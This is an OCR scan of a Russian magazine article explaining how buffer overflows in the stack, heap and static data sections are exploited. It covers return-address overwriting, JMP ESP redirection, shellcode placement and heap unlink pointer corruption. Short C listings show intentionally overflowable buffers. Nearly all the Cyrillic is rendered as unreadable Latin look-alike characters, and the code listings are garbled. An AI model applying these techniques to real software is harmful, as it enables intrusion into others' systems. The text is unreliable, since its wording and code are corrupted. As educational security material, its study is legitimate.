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daceManpuBas PasiinHble MexaHu3Mbl MepenosHeHNs N 06Cyxas ux BO3MOXHbIE MOCBACTBAS,
AHEE Mbl HE Kacanuch Takux «0praHn3aLMoHHbIX» BOMPOCOB, KaK, HAMPUMED, OPSAOK Pa3MELLeHUS
EPENOMHAOLLMXCA 0YehepoB, 3aTvpaeMbiX NEPEMEHHBIX 1 CITyXe6HbIX CTDYKTYD AaHHbIX B 0NepaTuBHO
JaMATH. Tenepb MPULLIIO BPEMS BOCIOHNTL 3TOT NPOGer.




B cteke...

NepenonHeHns aBTOMaTU4ecKux 6ydepoB Hambonee HacTbl
W Hanbonee KoBapHbl. HacTbl — NOTOMY YTO pasMep Takux
6ychepoB xectko (hardcoded) onpegensieTca elle Ha aTane
KOMMMAsLMKM, a npoLeaypa NpoBEPKU KOPPEKTHOCTN obpaba-
TbIBaeMbIX AaHHbIX 3a4aCTy0 OTCYTCTBYET UMK peann3oBaHa
C rpy6biMu oLmnmbKamn. KoBapHbl — NOTOMY YTO B Herocpes-
CTBEHHOW 6NM30CTU OT aBTOMAaTUYecKunx 6yepos npucyT-
CTBYET agpec Bo3Bpara U3 yHKLMn, MoaudmkaLma KoTopo-
ro No3BOMSAET 3M0YMbILLMNEHHUKY OCYLLECTBUTb nepeaady yn-
paBneHns Ha NPOW3BONbHbIN KOA,.

Ewe B cTeke comepxuTcs ykasaTesb Ha peim (OH xe
Kagp) MaTepuHCKON (PyHKLMM, COXPaHAEMBIA KOMMUIATOPOM
nepeg OTKpbITUEM opermMa godepHeit yHKumKU. BoobLue-To
ONTUMM3MPYIOLLME KOMMUAATOPLI, NOAAEPXMUBAIOLLME TEXHO-
NOrui0 «nnasatoLLmx» penmoB, 06xoasdTca u 6e3 3Toro, uc-
nonb3ys perucTp-ykasartesb BEPLUMHbI Kagpa Kak 06blYHbIN
perncTp obLLero Ha3Ha4yeHus, OfHaKO Aaxe NOBEepPXHOCTHbIN
aHanu3 obHapyXuBaeT 60/bLIOE KONNYECTBO YA3BUMBIX MNpu-
NOXEHW C KagpoM BHYTPW, Tak YTO 3TOT NPUEM aTaku BCe
eLLle ocTaeTca akTyanbHbIM. Moagudvkaums kagpa cteka cpbl-
BaeT agpecauuio foKanbHbIX NepeMEHHbIX U aprymMeHToB
MaTepPUHCKON (PYHKLMK 1 JaeT BO3MOXHOCTb YNpaBnaTh UMK
Mo CBOEMY YCMOTPEHUI0. YCTaHOBMB Kafp MaTepuHCKON oyH-
KUMK Ha «CBOW» Bydhep, 3NM0YMBbILLIEHHUK MOXET MOSIOXUTb B
MaTepUHCKME NnepeMeHHble (apryMeHTbl) Nobble 3HaYeHus (B
TOM YUCIe M 3aBEOMO HEKOPPEKTHbIE, MOCKOSbKY NpoBepKa
[OMYyCTUMOCTU apryMeHTOB OObI4HO BbINOMHAETCA 4O BbI3O-
Ba JOYEPHMX (PYHKLWIA, 8 KOPPEKTHOCTb aBTOMATUYECKMX Me-
PEMEeHHbIX NOCAe UX UHULMaNU3aLmMM NpoBEPAIOT TOMbKO na-
paHoukm). BuumaHwe! MNockonbKy nocne Bosspara 13 gouep-
HeW (PyHKLMKM BCe NpuHaanexatiue ev fokanbHble nepeMeH-
Hble aBTOMAaTW4EeCKM 0CBOOOXAATCS, UCMONb30BaTL AOYeEp-
HUI B6ychep Ons XpaHeHUs MaTEPUHCKMX NEePEMEHHBIX Hellb3s
(To4Hee, He peKOMeHayeTCs, HO ecnu LenCTBOBaTb OCTOPOX-
HO, TO MOXHO). O6paTUTECh K Kyye, CTAaTUHECKON NaMATH Un
aBTOMATUYECKOW NamATU napannenbHoro noToka, Bo3nen-
CTBYSl HA Hee KOCBEHHbIM 06pa3omM.

Bollwe Kagpa cTeka pacnonaratTcs COXpaHeHHble 3Haye-
HUSl PErMCTPOB, BOCCTAHABNMBAEMbIE MPU BbIXOAE U3 (PYHK-
umn. Ecnn matepuHckas (yHKUMS XpaHUT B OOHOM WAN He-
CKObKMX TaKMX permcTpax Kputudeckue nepeMeHHble (Hanpu-
Mep, yKasaTenu, B KOTOPbIE YTO-TO 3arn1CbiBAETCs), Mbl MOXEM
CBOOOAHO BO3OENCTBOBATL HA HUX MO CBOEMY YCMOTPEHMIO.

Hanblie Ha4nHaeTcsi 06M1acTb, «OKKYNMPOBaHHas» o-
KanbHbIMU NepeMeHHbIMU (M NepenonHALLMMES 6ythepoM B
TOM uucrne). B 3aBuCUMOCTY OT MPUXOTU KoMNUnAaTopa noc-
nefHuiA MOXET ObITb PaCMONOXeH Kak HaBepXy kaapa CcTeka,
Tak U B ryLle NOKamnbHbIX MEPEMEHHbIX — 3TO YXe Kak nose-
3€T (UM He NOBE3ET — C TOYKM 3peHns XepTssbl). MNepemen-
Hble, HaxoOsALIMECa «HUXe» nepenonHsaoLerocs 6ygepa,
MOryT 6blTb 3aTepTbl NPU NOCnefoBaTENbHOM NepenonHe-
HUM — CamMOM PacnpoCTPaHeHHOM Tune nepenonHeHus. lMe-
peMeHHble, HaxofsLLMecs «Bbllle» nepenorHsoLerocs 6y-
thepa, 3aTvpaloTCs NULLb MHOEKCHLIM NePEnonHeHNeM, KOTO-
poe 4pe3Bbl4aiHO Mano PacnpocTpaHeHo.

HakoHeL, Bbille Kagpa CTeKka HaxofaTcs TOMbKO HE6O K
3Be3[bl, NapOoH — CBO60OHOE CTEKOBOE MPOCTPAHCTBO. 3a-
TUPaTb TYT OCOBGEHHO HeYero, 1 3Ta 061acTb NamsaTy UCNonb-
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3yeTcsl B OCHOBHOM [N cnyxebHbix Hyxna shell-kopa. Mpu

3TOM CNeAyeT yuuTbIBaTh, YTO:

a) 06bEM CTEKA He 6e3rpaHnyeH 1 ynmpaeTcs B ONpeaeneH-
HbIA NMUMUT, TaK YTO BbIOENATL rMrabanTbl NamMsaTU BCe-
Taku He CTOMT;

6) ecnm OouH M3 CnAWMX 06BEKTOB MPOLIECCa-KEPTBbI HEO-
XMOAHHO MPOCHETCA, COAEPXKMMOe CBOBOAHOM CTEKOBOM Ma-
MSITN OK&XKETCS UCKXKEHHBIM, 1 YTOObI 3TOMO HE CITy4Mnoch,
shell-kog nomkeH noaTaHyTs pernctp ESP k BepxHemy ypoB-
HI0, pe3epBupys HeOOXoAMMOe KONMYECTBO 6anT namsTy;

B) NOCKOMbKY CTekoBas NamsTb, NpuHagnexaiwas noToky,
BblOENAETCH AMHAMUYECKN N0 Mepe ero pacnyxaHus, -
6as nonbITKa BbIXOAA 3a NPeaenbl CTOPOXEBON CTPaHWLbI
(page guard) 3aBepLUAETCA UCKIOHEHMEM, MO3ITOMY NIMOO
He 3anpatuusanTe 6onee 4 K6, nn6o npoynTanTe XoTs bbl
Nno OJHOW fiYerKe U3 KaXAon pe3epBupyemMon CTpaHuLbl,
[OBurasicb CHu3y Beepx. [logpobHee 06 3TOM MOXHO MNpo-
yutatb y PuxTepa.

B 3aBMCUMOCTW OT OrpaHWYeHuUid, HaNOXeHHbIX Ha npe-
JenbHO JOoNyCcTUMYO ANWHY nepenosHsoLerocs 6ydepa,
MOFYT 3aTMPaTbCA T€ WU UHblE NOKasbHbIE NEPEMEHHBIE UMK
CIyXebHble CTPYKTYpbl AaHHbIX. O4eHb MOXET CTaTbCH, YTO
[0 ajpeca Bo3Bparta NpoCcTo He yOacTes «A0TAHYTbCA», a
Jaxe ecnu v yaacTcs — He hakT, YTO (OYHKUMSA He rPOXHeTCs
334010 J0 CBOEro 3asepLueHust. [onycTiMm, 3a KOHLIOM CTpO-
KOBOro nepernosHstoLLerocs 6ycgepa pacnonaraercs ykasa-
Tesb, U3 KOTOPOro Nocse nepenosiHeHWs 4To-To YnTaeTces (3a-
nucbiBaeTcs). MockonbKy nepenonHeHne 6ydepa Hensbex-
HO 3aTMpaeT ykasatesb, No6as NonbiTka Y4TeHus oTTyaa Bbl-
3blBaeT HEMeIEHHOE UCKIYEHWe U — Kak CedcTeue — aka-
purHoe 3aBepLUeHue nporpammel. [puyem 3atepeTb agpec
BO3BpaTa, NOACYHYB yKa3aTento KOPPeKTHbIN agpec, ckopee
BCEro He yJacTcs, T.K. B ONepaLMOHHbIX CUCTEMax ceMencTaa
Windows Bce rapaHTMpOBaHHO OOCTYMHble afpeca nexar
3HauuTenbHo Hxe 01010101h — HaumeHbLLero agpeca, Ko-
TOPbIV TOMBKO MOXHO BHEAPUTb B CEPEAMHY CTPOKOBOro Oy-
thepa (noppobHee cM. «3anpeLleHHble CUMBOSbI»). Tak yTo
6ydhepa, pacnonoxeHHble BHU3Y Kagpa CTeka, Ansa nepenos-
HEHUS BCe Xe NpeanoyTuTenbHee.

3a KOHLOM afpeca BO3BpaTa HayuMHaeTcs 06nacTb nams-
TW, NPUHaANexXaLlas MaTepUHCKMM (OYHKLMAM M codepxallas
aprymeHTbl fo4epHen (hyHKLMMW, aBTOMATUHECKME NepeMeHHble
MaTepuHCKON (hYHKLMKM, COXpaHEHHbIE perucTpbl/kagp cTeka
npoMaTepUHCKOM (hyHKLMW/agpec Bo3epara B npamaTepuHc-
Kyto oyHKUMM M T. 0. TeopeTnyeckun nepenosnHsiowmincs éydep
MOXET BCE 3TO 3aTepeTb (Hy ObIBALOT Xe Takue OyiHble Byde-
pa), NPaKTUYECKN Xe — 3TO INBO HE HYXHO, MO0 HeocyLLe-
CTBUMO. Ecnn Mbl MOXEM HaBs3aTb NporpaMme KOpPPeKTHbIN
afpec Bo3spara (T.e. agpec Bo3Bpara, ykasbiarowmii Ha shell-
KOZ, Mnn MtoByto TOYKY «POOHOr0» KOAA NporpaMmbl), TO B Ma-
TEPUHCKYIO (hYHKLIMIO OHA YXXE He BEPHETCS, U BCE MaxuHaLmm
C MaTepUHCKMMUN NEPEMEHHBIMU OCTaHYTCA He3aMeuYeHHbIMU.
Ecnun xe HaBs3aTb KOPPEKTHbIA afpec Bo3BpaTa no TemM uim
WHBIM NPUYMHAM HEBO3MOXHO, TO MaTepUHCKas PyHKUMS Tem
6onee He CMOXET MONYYNTb YNpaBneHus.

HamHoro 60nbLUyto MHOPMaLMIO HECET YTEHWE MaTEPUH-
CKOM obnactu namsTu (CM. «YkasaTenu u WHOEKCbl» B rpe-
Obloyllei cTaTbe OaHHOrO UMKNa) — 30eCb OeNCTBUTENbHO
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MOXHO BCTPETUTb MHOrO 4ero uHTepecHoro. KoHduaeHum-
anbHble faHHble (TUna naponen 1 HOMePOB KPeaUTHbIX KapT),
LECKPUNTOPbI CEKPETHLIX (DaNNoB, KOTOPble HEBO3MOXHO OT-
KPbITb 0ObI4HbIM 06Pa30M, COKETbI YCTaHOBMEHHbIX TCP-co-
eAVHEeHNI (nodemy 6bl MX HE MCMONb30BaTh Ans 06xoaa 6paH-
OMay3poB?) U T. 4.

Mogaundukauua aprymeHToB goyepHerd PyHKUUM MeHee
NepcnekTMBHA, XOTs BpemMeHamm 1 6biBaeT nonesHoi. Cpean
aprymentos Cu/Cu++ nporpamm TpaanLMOHHO MHOMO yKasa-
Tenen. O6bI4HO 3TO yKa3aTen Ha LaHHble, HO BCTPEYalTCs
N yKkasatenu Ha kofd. MNocnegHue Haubonee nepcrneKkTUBHbI,
MOCKONbKY NO3BONAIOT 3axBaTblBaTb YNpasrieHne nporpam-
MOW [10 ee 06pyLLeHus. YKa3aTenm Ha JaHHble, KOHEYHO, TOXe
XopoLn (0COBEHHO Te U3 HKX, YTO MO3BONAIOT 3aNUChIBATL
MO HaBA3aHHbIM agpecaM HaBf3aHHble AaHHble, T.e. paboTa-
t0T kaK bevicnk-dyHkuma POKE), ogHako, YTobbl 4OTAHYTHCS
[0 CBOWX apryMeHTOB Npu nocnefoBaTeslbHOM nepenonHe-
HUK ysa3BUMOro 6ydepa, HEOOXo0AMMO Nnepeceyb AHenKu na-
MSATW, 3aHATbIE aipecoM BO3BpaTa...

CBOOOIHO

ABTOMATUYECCKHEC IIEPEMEHHBIC I[O‘IepHeﬁ (byHKHI/II/I

[coxpaneHHBIE perucTps|

[kazp cTeka MaTepUHCKOW (hyHKIWH]

aJipec BO3BpaTa B MaTEPUHCKYIO (DyHKIIUIO

apryMeHTbl JoYepHel QyHKIUH

ABTOMATHUYECKHE TIEPEMEHHBIC MATEPUHCKOHN (DyHKIIHH

[coxpaHeHnHble perucTpbi|

[kagp cTexka mpamaTepuHCKOH QyHKIMH]

aJipec BO3BpaTa B MPaMaTepUHCKYIO (pyHKINIO

apryMeHTbl MaTepPUHCKOHN (DyHKIMH

JHO CTCKa

Pucysox 1. KapTa pacnpefieneRuss CTEKOBOJ NaMsTH

B 3aTupaHuu agpeca Bo3BpaTta eCTb OfHa MHTepecHas
TOHKOCTb: afipec Bo3Bpara — 370 abCONOTHbIV afpec, U ecnu
Mbl XOTUM nepefaTb ynpasfieHne HenocpedCTBEHHO Ha caM
nepenosHsaoLWmniics ydep, Ham MB0 NPUXOAUTCS HafEesATb-
CSl Ha TO, YTO B YA3BUMMOW Mporpamme nepenosHALNACS
6ydhep okaxeTcs No TakoMy-TO afpecy (a 3To He (hakT), Mmoo
“cKaTb MexaHW3M nepefayn ynpaBneHns Ha BepLUMHY CTeKa.

Yepeb Love San peltaet npo6nemy nytem nogmeHsl ag-
peca Bo3Bparta Ha agpec MalUMHHOW MHCTPyKuun JMP ESP,
pacnonoXeHHOW BO BafeHUsX onepauroHHON CUCTEMBI.
HepoctaTtku Tako METOAMKM O4EBUOHbI: BO-MEPBLIX, OHA HE
cpabaTtbiBaeT B TeX Clyyasx, Korfa nepenosHsaowmincs 6y-
(bep pacrnonoxeH HWxe BepLUMHbI CTeKa, a, BO-BTOPbIX, MecC-
TOMoNoXeHne UHCTpyKumn JMP ESP TecHo cBfi3aHO € Bepcu-
el onepawLyoHHON CUCTEMBI, U NONYYaeTCs, Kak B TOW MOro-
BOPKe, «3a 4TO 60ponnCh, Ha TO U Harnoponuce». K coxare-
HWI0, 6oriee NPOrpecCcMBHbBIX METOAMK Nepedayn ynpaeneHns
rnoka He NpUAYMaHo...
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B kyue...
Bydhepa, pacnonoxeHHole B AMHAMWUYECKOW NaMATH, Takxe
MoABepXeHbl nepenonHeHuno. MHorve nporpaMmMucTbl, NeHn-
Bble OT NPMpOofbl, CHa4Yana BbIAenaT bydep UKCUpoBaH-
HOro pa3mepa, a 3aTeM onpedensitoT, CKObKO NaMATh UM He-
06XxoaMMo, NpuyeM cuTyaumio Hegocratka namsatu oépabo-
TaTb TPaaUUMOHHO 3abbiBatoT. B Ky4e Yallle Bcero BCTpeya-
0TCA NepenonHsowumecs 6ydepa ABYX TUMOB: 3EMEHTHI
CTPYKTYP M OMHaMMYeCKU Bblgensemble 6510KM NamsTy.
HonycTtum, B nporpamme nMMeeTcsi CTPykTypa demo, co-
Lepxallas B TOM yucre 1 6ydep (prkcupoBaHHOro pasmepa:

JucTuer 1. [puMep CTPYKTYpH C NepenojHAnuuMcs 6ybepoM BHYT-
pu (OH BHAENEH KPaCHHM LIBETOM)

strict demo

{

int a;
char buf[8];
int b;

HeocTopoxHoe obpallieHune ¢ o6pabaTbiBaeMbIMU AaHHbI-
MU (HanpuMep, OTCYTCTBUE HYXHbIX MPOBEPOK B HY>XXHOM Me-
CT€) MOXET NPMBECTU K BO3MOXHOCTW NepenonHeHms oyge-
pa buf 1 Kak cnegcTeMe — 3aTvpaHuIo PACNONOXEHHbIX 38 HUM
nepemeHHbIX. B nepsyto ovepelb 370 NepeMeHHble-YneHbl
camoW CTpPYKTypbl (B JaHHOM cnyyae — nepemeHHas b), ctpa-
Terns MOAMMMKALMM KOTOPbIX BMOMHE TUMWMYHA U NOLYMHSI-
eTCs TEM Xe npaBuam — 06LLMM A5 BCEX NepenorHAOLLMX-
cs1 6ypepos. MeHee o4eBMaHA BO3MOXHOCTb 3aTUpaHus sye-
eK NamsaTL, nexatymx 3a npegenamu BolgenieHHoro 6oka na-
matn. Ketatu, ana 6ydepos, MOHOMONLHO BriafetoLLnX BCEM
BblAENIEHHbIM 6JIOKOM NamsAT, 3TO ANHCTBEHHO BO3MOXHAs
cTparerus nepenonHeHns BoobLLe. BarnaHuTe Ha cnegyoLmnii
Kod. Kak Bbl jymaeTe, 4T0 34eCb MOXHO NepenonHnTL?

JmcTvnr 2. llpuMep AMHAMMYECKOTO O670Ka NaMaT, NOABEPKEHHOT'O
HepenoIHeHND

#define MAX BUF SIZE 8
#define MAX STR SIZE 256
char *p;

p = malloc(MAX BUF SIZE);

strncpy(p, MAX STR SIZE, str);

Jonroe BpeMsi cYMTaNOCh, YTO NEPENONHATL 34eCb OCO-
6eHHO 1 Heyero. MakcuMyM — MOXHO YCTPOUTb 6aHasbHbIv
DoS, Ho ueneHanpaBneHHO 3axBaTUTb YNpaBneHne XepTBou
HEBO3MOXHO B CWIy XaOTMYHOCTW pacnpefenieHns guHamu-
Yyeckumx 6510K0B Mo namaTn. basosbin agpec 6510Kka p, BOO6LLE
roBOps, CNy4aeH, U 3a ero KOHLOM MOXET ObITb pacnonoxeHo
BCE YTO YrogHo, B TOM YKCIE W HEBbIAENEHHbIA PETVOH namsi-
T, BCAKOE 06paLLleHne K KOTOPOMY NMPUBOAWT K HeMeLneHHo-
MY UCKIOHYEHMWIO, aBapuiiHO 3aBepLuatoLLieMy nporpammy.

Ha camom pene, Bce 3TO He 605ee 4YeM pacxoxue 3ab-
nyxpexuns. CerogHs nepenonHeHMeM AMHaMUYeckux byde-
POB HUKOrO He YAMBWLUb. 3Ta TEXHONOMMS LUMPOKO U Hebe-
3yCMELLHO NCMOSb3YETCH B KAYECTBE YHMBEPCanbHOro (!) cpea-
CTBa 3axBara ynpasneHus. Hawymeslumin Yepsb Slapper —
OZWH U3 HeMHoOrunx Yepsewt, nopaxarowmn UNIX-malumHel —
pacnpocTpaHaeTcs UMEHHO TakK. Kak Xe Takoe BO3MOXHO?
MNMonpobyem pasobparbes...

CHCTEMHBIaAMUHMCTPATOP



BbigeneHue n ocBO60OXOEHNE AMHAMUYECKON NaMsaT Oen-
CTBWTEIbHO NPOUCXOAMT JOBOSBHO CyMOYPHO — 6eCcnopsanoy-
HO, U 32 KOHLOM Hawlero 6510Kka B MPOU3BOSbHbIA MOMEHT
BpPEMEHM MOXET ObITb PacronoXeH Noboi apyrom 6nok. daxe
npv NocnegoBaTeslbHOM BbIAEIEHNN HECKOMBbKMX BI0KOB na-
MSATU HUKTO HE MOXET rapaHTMpoBaTtb, YTO NPU Kaxaom 3a-
MycKe Nporpammbl OHW 6yayT BbIAENATLCA B OQHOM M TOM Xe
nopsake, MOCKOMbKY 9TO 3aBUCUT OT pa3Mepa v nopsgka oc-
BOOOXAEHUS NpedblayLinx BblaenseMblx 6ycdepos. Tem He
MeHee, YCTPOWCTBO CYXEOHbIX CTPYKTYP AaHHbIX, NPOHW3bI-
BalOLLMX OMHAMWYECKYIO NamsTb CBOEOOPAa3HbIM HECYLLMM
Kapkacom, Nnerko npeackasyemo, XoTs U MEHSeTCs OT OQHOM
BepcuM GMBIMOTEKN KOMMUIATOPA K ApPYrow.

CyLUecTBYET MHOXECTBO peanv3aumnii AuHaMM4eckomn na-
MSATW, ¥ Pa3NnUYHbIE NMPOU3BOAUTENIN UCMONL3YIOT Pa3NNYHbIE
anroputMbl. BelgensiemMble 6110KM NamsaTu MOryT 6bITb HaHU-
3aHbl ¥ Ha AiEPEBO, ¥ Ha O4HO/ABYX-CBA3AHHLIV CMIMCOK, CCbI-
KM Ha KOTOpbIA MOryT 6bITb NMPeACTaBfeHbl Kak ykasartens-
MU, TaK U MHOEKCaMM, XpPaHUMbIMK MO0 B Ha4ane/KOoHLE Kax-
[oro BbiiensieMoro 6510Ka, Mo B 0TAESIbHOW CTPYKTYpe AaH-
HbIX. [pryem nocnegHWn cnoco6 peanusauuy no pagy npu-
YMH BCTpeYaeTcs KpanHe penxo.

PaccmoTpum cnefytoLlyo opraHusaumio QuHammnyeckon
namsTi, NPy KOTOPOW BCe BblOensiemMble 6/10KUM COEAMHEHSI
NOCPEeACTBOM [BYXCBA3HbIX CMIMCKOB, YKa3aTenu Ha KOTOpbIX
pacnonoxeHbl B Ha4ane Kaxgoro 6noka (CM. puc. 2), npuyem
CMeXHble 6M0KM NamaTh He 0693aTenbHO J0MKHbI HAaXoaUTb-
Cl B COCEOHMX 3NIeMEHTax Cnucka, T.K. B NpOLEecce MHOro-
KpaTHbIX onepauui BbigeneHns/ocBo60XAEHNSA CINCOK HENS-
6eXHO (hparMeHTUpyeTcs, a NOCTOAHHO AedparMeHTMpoBaThb
ero cebe 0poxe.

yKazarellb Ha CICAYIOIIUI OJI0K
B IICTIOYKE
yKazaresb Ha MPebIayIni 0J10K
B IICTIOYKE
pazmep
craryc (3aHsAT/cBO00IEH)

010K mTaMsTH |

IIaMATb, BBIACIICHHAA 6J'IOKy

yKazarelb Ha CIeAyIOIui 60K
B IIEMIOYKE
yKazaresb Ha MPebIIyIni 010K
B 1ICIIOYKE
pazmep
craryc (3aHsAT/cBO00IEH)

OJIOK TaMsaATH 2

IaMATb, BBIACIICHHAA 6J'IOKy

PucyHok 2. KapTa NpuGmM3MTENBHOTO pacHpefiefleHust AMHAMIYECKO
naMsTH

NepenonHeHne 6ythepa NPUBOOUT K 3aTUPAHMIO CryXeb-
HbIX CTPYKTYP CnegytoLlero 65oka namati v Kak Cnegcteme —
BO3MOXHOCTU MX Mogudbmkaumn. Ho 4To 310 Ham faet? Begb
LOCTYN K fi4YeNKam BCAKOro 6110Ka OCYLLECTBNAETCS MO yKa-
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3aTento, BO3paLleHHOMY nporpaMme B MOMEHT €ro Bblaere-
HUS, @ OTHIOOb He MO «CryXeBHOMYy» yKasaTeso, KOTOPbIv Mbl
cobupaemcs 3aTupatb! CnyxebHble yKasatenm Ucnonb3ayT-
CSl UCKMOUNTENbHO (byHKumsamu malloc/free (M gpyrumum no-
LO6HBIMM UM (DYHKLMsMKM). IckaxeHne ykasaTens Ha cnegy-
OLWmMIA/NpeabigyLwLmin 610K No3BoNseT HaBsa3aTb agpec cre-
JyloLero BblgensaeMoro 6noka, Hanpumep, «HanoXue» ero
Ha OOCTYMHbIA HaM 6ydep, HO HUKAKUX rapaHTui, YTo 3TO
MOMNYy4YnTCS, Y HAC HET — NpW BbigeneHnn 610Kka NamsTh PyHK-
umst malloc viwet Hanbonee NOAXOAALLMIA C ee TOUKWN 3peHust
PEervoH cBo60AHON NamaTi (06bIYHO 3TO NEPBLIA CBOOGOOHBIN
610K B LIENOYKe, COBNafaloLLIMiA Mo pa3Mepy € 3anpOoLLUEHHbIM),
W He (haKT, YTO HaLl pervoH en nogonaet. Kopoye roopsi, He
BOOAYLLEBNAIOLLAA NepcrneKkTea nonyyaeTcs.

OcBob6oxpeHne 610KOB namsTn — gpyroe geno! Ans
YMEHbLUEHUs! hparMeHTaumm OUHaMUHYeCcKon NamaTn yHK-
umsa free aBTOMaTUYECKU 0OBEAVHAET TEKYLLMIA OCBOGOXA-
eMbI 6510K CO crnefylowum, ecnu ToT Toxe csobogeH. lo-
CKOMbKY CMEXHble BfI0KM MOTYT HaXOAWTbCA Ha PasnuyHbIX
KOHLIax CBf3blBatOLLEro X Cnucka, nepeg npucoeanHeHnem
4yXXOro 6/10ka NamaTn oyHKUmMA free QOMKHA «BbIGPOCUTL»
€ro 13 Lienoykn. 310 OCYLLECTBSETCA MyTEM CKIENKM nped-
LLEeCTBYIOLLEro 1 NocneaytoLLero ykasartenen, 4to B ncesmo-
KoZe BbIFNAAUT NPUONM3UTENBHO Tak: *ykasartenb Ha cnepgy-
OLLWA 6rOK B LEMOYKe = YyKasaTeSb Ha npedbloylumii 6ok B
uenoyke. lMNocTovite, HO Bedp 3T10... [a! 310 aHanor 6encuk-
dyHkummn POKE, nossonstowmii HaMm mogudmumposatb Jto-
6yI0 A4ENKy YS3BUMOW Nporpammbl!

Nogpo6Hee 06 3TOM MOXHO NPOYKTaTh B CcTaThe «Once upon
a free()...», onybnmkoBaHHou B 39h-HOMEpE 3NEKTPOHHOrO
xypHana PHRACK, goctynHoro no agpecy www.phrack.org.
CtaTbsi neperpyxeHa TEXHNYECKMMM NOAPOBGHOCTAMM peanu-
3auuy OMHaMUYECKOM NamsaTh B pasfnyHbIx 6GUbIMoTekax u
HanucaHa LOBObHO TSXESbIM A3bIKOM, HO 03HaKOMWUTLCA C
HeW, 6e3yCnoBHO, CTOUT.

Kak npasuno, BO3MOXHOCTb 3anvcyt B NamsTb WUCMOSb-
3yeTcs Ana MoanduKaumm Tabnuubl MMnopTa ¢ Lenblo nog-
MeHbl HekoTopor API-pyHKUMK, rapaHTMpOBaHHO Bbi3blBa-
€MON YA3BUMON NpOorpaMMon, BCKOpe Nocne nepenosiHeHns
(«BCKOpE», NOTOMY HTO Yacbl €€ YXe COYTEHbl — LIENIOCTHOCTb
CCbIIOYHOMO Kapkaca AMHaMUYecKoW MaMaTh HapylleHa, u
3TO HEYCTONYUBOE COOPYXEHUE B NTHOO0M MOMEHT MOXET pyX-
HyTb, NYCTUB NporpamMmy B pasHoc). K coxanexuo, nepe-
[aTb ynpasneHve Ha nepenosiHaLLmncs 6ydep ckopee Bee-
ro He ygacTcs, T.K. ero agpec Hanepeg Heu3BecTeH, U TyT
npMX0aMTCA UMNPOBU3NPOBATb. Bo-nepBbix, 3M10YMbILLNEH-
HUK MOXeT pasmecTutb shell-kog B no60M fpyroMm focTyn-
HOM eMy 6ycepe C U3BECTHbIM agpecoM (cMm. «B cekuum
LaHHbIX...»). Bo-BTOpbIX, cpean (OYHKLMIA YyS3BMMOW Npo-
rpaMMbl MOTyT BCTPETUTLCA U Takue, Y4TO NepeaaroT ynpas-
neHWe Ha ykasatesb, NepefaHHbil UM C TEM UAN UHbIM ap-
FYMEHTOM (TaKyro (OYHKLMIO YCNOBUMCS Ha3biBaTb (DYHKLM-
en f). MNocne 4vero octaHetcs HawTu API-yHKLMIO, NPWHK-
MaloLLyl0 yKasaTeslb Ha nepenofiHaLWwuics 6ydep 1 nog-
MeHuTb ee agpec agpecoM dyHkumm f. B Cu++ nporpammax
C WX BUPTyanbHbIMKU (OYHKUMAMMK 1 yKasaTensmu this Takas
CUTyaums Cry4yaeTcs He TaK yX U pegko, X0Ta 1 pacnpocT-
paHeHHON ee TOXe He Ha3oBellb. HO npu npoekTupoBaHum
shell-koga Ha yHVBepcarnbHble pelleHus 3aknagblBaTbCs,
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BOOOGLLE roBopsl, U He npuxoauTcs. [posaBuTe UHXEHEPHYIO
cMmekanky, yaueute mup!

BynbTe 3apaHee roTosbl K TOMY, Y4TO B HEKOTOPbIX peanu-
3aLMAX Ky4n Bbl BCTPETUTECH HE C yKasaTensmu, a ¢ UHOeK-
camu, KOTopble B O6LLEM Cryyae nNpeacTaBnsioT Co60M OTHO-
cuTenbHbIE afpeca, 0TCUMTbIBaEMbIE NIMBO OT NepBoro 6anta
Ky4u, nnmbo OT TeKyLLen ayerkun namsaTtu. lMocnegHuid cnyyan
BCTpeyaeTca Hambonee 4acto (B YaCTHOCTMW, LwTaTHas 6mob-
nuoteka komnunatopa MS VC 6.0 noctpoeHa MMEHHO Tak),
MO3TOMY MMEET CMbICI pacCMOTPETb ero nonoapobHee. Kak
y>XXe FOBOPUIIOCH Bbille, abCOoNOTHbIE agpeca nepenonHsio-
LLlero 6ydhepa 3apaHee HEM3BECTHbI M HernpeackasyembiM 06-
pa3oM U3MEHSIIOTCA Nof BO3LENCTBUEM psifa 06CTOATENLCTB.
Anpeca Xe fiyeek, Hanbonee cobnasHUTENbHbLIX AN MOAW-
thukaumm, HanpoTtue, abcontoTHbl. YTo genatb? MoXHO, Ko-
HEYHO, UCCNeRoBaTb CTPaTernio BblAeNeHns/0CBOOOXAEHNS
namaTy Ans OaHHOTO MPUNIOXEHUS Ha NPeAMET BbISBAEHUS
Hanbonee BePOATHbIX KOMOMHALMIA — KOe-Kakue 3aKoHOMep-
HOCTW B Ha3Ha4eHUN afpecoB nepenonHsarLwmMMes ydepam,
6e3ycnoBHoO, ecTb. MeToanyHO nepebupas BCe BO3MOXHble
BapuaHTbl OOWH 3a OPYrvM, aTakyloLMiA paHo Wnu NO3AHO
3axBaTuT ynpaeneHue cepBepoM (npaspa, nepes 3TUM He-
CKOMbKO pas3 ero 3aBecwT, fieMackupys ataky v ycunvsas
64MTENBbHOCTb adMUHUCTPATOPOB).

B cekuuu AaHHbIX...

MNepenonHsoLwmecs 6ydepa, pacrnonoXeHHbIe B CEKLUN faH-
HbIX (CTaTu4eckme 6ydepa) — HacTosALaa 3010Tas xuna ¢
TOYKN 3PEHMS 3M0YMbILLSIEHHMKA! OTO eOMHCTBEHHbIN TN
6ydepoB, agpeca KOTOPbIX AIBHO 3a0al0TCs elle Ha 3Tane
KOMMUAALMK (BOOBLLIE-TO HE KOMMUMALMMK, & KOMMOHOBKU, HO
3TO YXe AeTanu) v NOCTOSAHHbI AN KaXO0W KOHKPETHOW Bep-
CWW YA3BMMOTO MPUNOXEHNS HE3aBUCUMO OT TOrO, Ha KakoW
OnepaunoHHON cuCTeMEe OHa BbIMOSTHAETCS.

Camoe rnaBHoe — Cekums JaHHbIX COOEPXUT OrPOMHOE KO-
NMYECTBO yKasatenei Ha (yHKLMW/ AaHHble, rnobarbHble dna-
1, 0eCKPMNTOpb! annos 1 Ky4u, MMeHa hannos, TEKCTOBbIE
CTPOKM, Bydhepa HEKOTOPbIX BUBNOTEUHBIX (PYHKUMIA. .. [TpaB-
Aa, 0O BCEro 3Toro 60rarcTea eLle npeacTouT «A0TAHYTbCA»
W, eClv AyIMHA nepenorHsioLLerocs yepa OKaxeTcs XeCTKo
orpaHuyeHa cBepxy (Kak 4acTo U CnyvaeTcs), aTakyoLwmii He
MOMYYMT OT MOCNEQHEro HUKaK1X npenmyLLecTs!

